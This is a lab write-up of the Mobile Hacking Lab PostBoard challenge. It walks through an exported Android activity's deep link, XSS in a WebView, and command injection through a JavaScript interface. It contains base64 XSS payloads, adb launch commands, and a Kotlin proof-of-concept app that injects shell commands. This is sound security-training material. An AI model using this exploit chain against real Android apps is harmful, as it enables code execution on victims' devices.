Objective
Exploiting a Cross-Site Scripting (XSS) vulnerability in Android WebView to achieve Remote Code Execution (RCE)
The post board challenge from Mobile Hacking Lab is available here π https://www.mobilehackinglab.com/course/lab-postboard.
Inspecting Android Manifest
The application has only one activity com.mobilehackinglab.postboard.MainActivity
. The relevant snippet from AndroidManifest.xml
is provided below.
<activity android:name="com.mobilehackinglab.postboard.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="postboard" android:host="postmessage"/>
</intent-filter>
</activity>
As the activity is exported, it can be launched by other applications installed on the same device. The activity expects the following intent data URI.
postboard://postmessage
Source Code Audit
Inspecting the MainActivity
, we can see that it creates a WebView inside the onCreate()
method. In addition, it also calls the handleIntent()
function which will handle any incoming intents.
The setupWebView()
function, as the name indicates, sets up the WebView and loads a static html page located at file:///android_asset/index.html
. The function also registers a JavaScript interface WebAppInterface
to the WebView.
private final void setupWebView(WebView webView) {
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebAppChromeClient());
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
webView.loadUrl("file:///android_asset/index.html");
}
Few things to note are:
- JavaScript is enabled in WebView
- Presence of a JavaScript interface.
Inspecting handleIntent() Function
The handleIntent()
function source code is as follows.
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
return;
}
ActivityMainBinding activityMainBinding = null;
try {
String path = data.getPath();
byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
ActivityMainBinding activityMainBinding2 = this.binding;
if (activityMainBinding2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding2 = null;
}
activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
} catch (Exception e) {
ActivityMainBinding activityMainBinding3 = this.binding;
if (activityMainBinding3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding = activityMainBinding3;
}
activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
}
It performs the following:
- Gets the current intent.
- Gets the action of the current intent.
- Checks if the action is
android.intent.action.VIEW
- Ensures that the intent data is not
null
- Ensures that the intent data scheme is
postboard://
- Ensures that the intent data host is
postmessage
- If the above 4 conditions are satisfied, the function then takes the path segment from the intent data URI and Base64 decodes it, escapes any single quotes
'
by prepending forward slashes. - The following JavaScript URL is then loaded in the WebView -
javascript:WebAppInterface.postMarkdownMessage('" + message + "')
. The message is the string obtained from the previous step.
Displaying Arbitrary Content in WebView
Based on the previous analysis, we can display arbitrary content inside the WebView by launching the MainActivity
with the following intent data.
postboard://postmessage/{base64_encoded_content}
Lets try this with ADB to show the HTML string <h1>TESTING_INJECTION</h1>
.
adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGgxPlRFU1RJTkdfSU5KRUNUSU9OPC9oMT4="
Sweet. We are able to display HTML content inside the WebView.
HTML Injection to XSS
Since we are able to display any HTML content inside WebView. Lets try to execute some JavaScript.
HTML: <img src=x onerror=alert(document.location.href)>
Base64 Encoded : PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmxvY2F0aW9uLmhyZWYpPg==
ADB Command:
adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmxvY2F0aW9uLmhyZWYpPg=="
We are able to execute arbitrary JavaScript inside the WebView.
Road to RCE
Since we have arbitrary JavaScript execution in the WebView, we can interact with the JavaScript interface WebAppInterface
and invoke any functions in the JavaScript interface class which are annotated with the decorator @JavascriptInterface
. There are couple of functions.
getMessages()
clearCache()
postMarkdownMessage(String markDownMessage)
postCowsayMessage(String cowsayMessage)
The one which is interesting to us is the postCowsayMessage(String cowsayMessage)
function. This function is originally invoked in case any exception occurs inside handleIntent()
function in MainActivity
.
Let us inspect the postCowsayMessage
function which is defined inside the JavaScript interface class com.mobilehackinglab.postboard.WebAppInterface
.
@JavascriptInterface
public final void postCowsayMessage(String cowsayMessage) {
Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage");
String asciiArt = CowsayUtil.Companion.runCowsay(cowsayMessage);
String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&", false, 4, (Object) null), "<", "<", false, 4, (Object) null), ">", ">", false, 4, (Object) null), "\"", """, false, 4, (Object) null), "'", "'", false, 4, (Object) null);
this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>");
}
It seems to accept a string input message and turn it into the cow say ascii art. The ascii art is then HTML encoded and added to the cache.
The ascii art is generated by calling the function CowsayUtil.Companion.runCowsay(cowsayMessage);
.
The function runCowsay()
is defined in the class defpackage.CowsayUtil
.
public final String runCowsay(String message) {
Intrinsics.checkNotNullParameter(message, "message");
try {
String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);
StringBuilder output = new StringBuilder();
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
BufferedReader reader = bufferedReader;
while (true) {
String it = reader.readLine();
if (it == null) {
Unit unit = Unit.INSTANCE;
CloseableKt.closeFinally(bufferedReader, null);
process.waitFor();
String sb = output.toString();
Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
return sb;
}
output.append(it).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
return "cowsay: " + e.getMessage();
}
}
The runCowsay(String message)
function takes the message input and executes the system command /bin/sh -c cowsay.sh message
. The script cowsay.sh
is located inside the application context files directory.
It can be seen that there is no validation on the input parameter message
and is vulnerable to command injection.
This means that we can call the postCowsayMessage()
function with string input such as the following to execute system commands in context of the application.
testMessage;id;whoami
Getting RCE
To call the postCowsayMessage
via the XSS that we obtained earlier, we can use the following payload.
HTML: <img src=x onerror="WebAppInterface.postCowsayMessage('rizaruuu-moooo;id;whoami;hostname')">
Base64: PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3JpemFydXV1LW1vb29vO2lkO3dob2FtaTtob3N0bmFtZScpIj4=
ADB Command:
adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3JpemFydXV1LW1vb29vO2lkO3dob2FtaTtob3N0bmFtZScpIj4="
We don’t see the cowsay message in the UI, because the ascii art is only added to the cache. Calling the getMessages()
function would show it in the UI. However, the system command is already executed when the image is loaded and the JavaScript is triggered.
We can either click on the Post Message
button in the UI to see the output of the executed command / cowsay or run WebAppInterface.getMessages();
to update the UI.
Clicking on the button.
RCE Using a Malicious Application
The following malicious application can be used to demonstrate the RCE.
package com.rizaru.mobilehackinglab_postboard_poc
import android.content.Intent
import android.net.Uri
import android.os.Build
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.annotation.RequiresApi
import java.util.Base64
class MainActivity : AppCompatActivity() {
@RequiresApi(Build.VERSION_CODES.O)
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
sploit()
}
@RequiresApi(Build.VERSION_CODES.O)
fun sploit(){
val it = Intent()
it.setClassName("com.mobilehackinglab.postboard","com.mobilehackinglab.postboard.MainActivity")
it.action = "android.intent.action.VIEW"
var htmlPayload = "<img src=x onerror=\"WebAppInterface.postCowsayMessage('rizaruuu-moooo123;id;whoami;hostname')\">"
var b64Payload = Base64.getEncoder().encodeToString(htmlPayload.toByteArray())
var dataUri = "postboard://postmessage/$b64Payload"
it.data = Uri.parse(dataUri)
startActivity(it)
}
}
A Word About the Mobile Hacking Lab
Mobile hacking lab provides access to android virtual machines via the correllium platform and can be accessed over the browser.
The lab gives clear and easy instructions to connect to the Android VM and interact with it.
The lab is easy to use and provides all the required functionality. I was able to upload my PoC application and test on the lab.
Completion Certificate
Upon successfully solving the challenge and submitting the proof of concept, mobile hacking lab awards a completion certificate.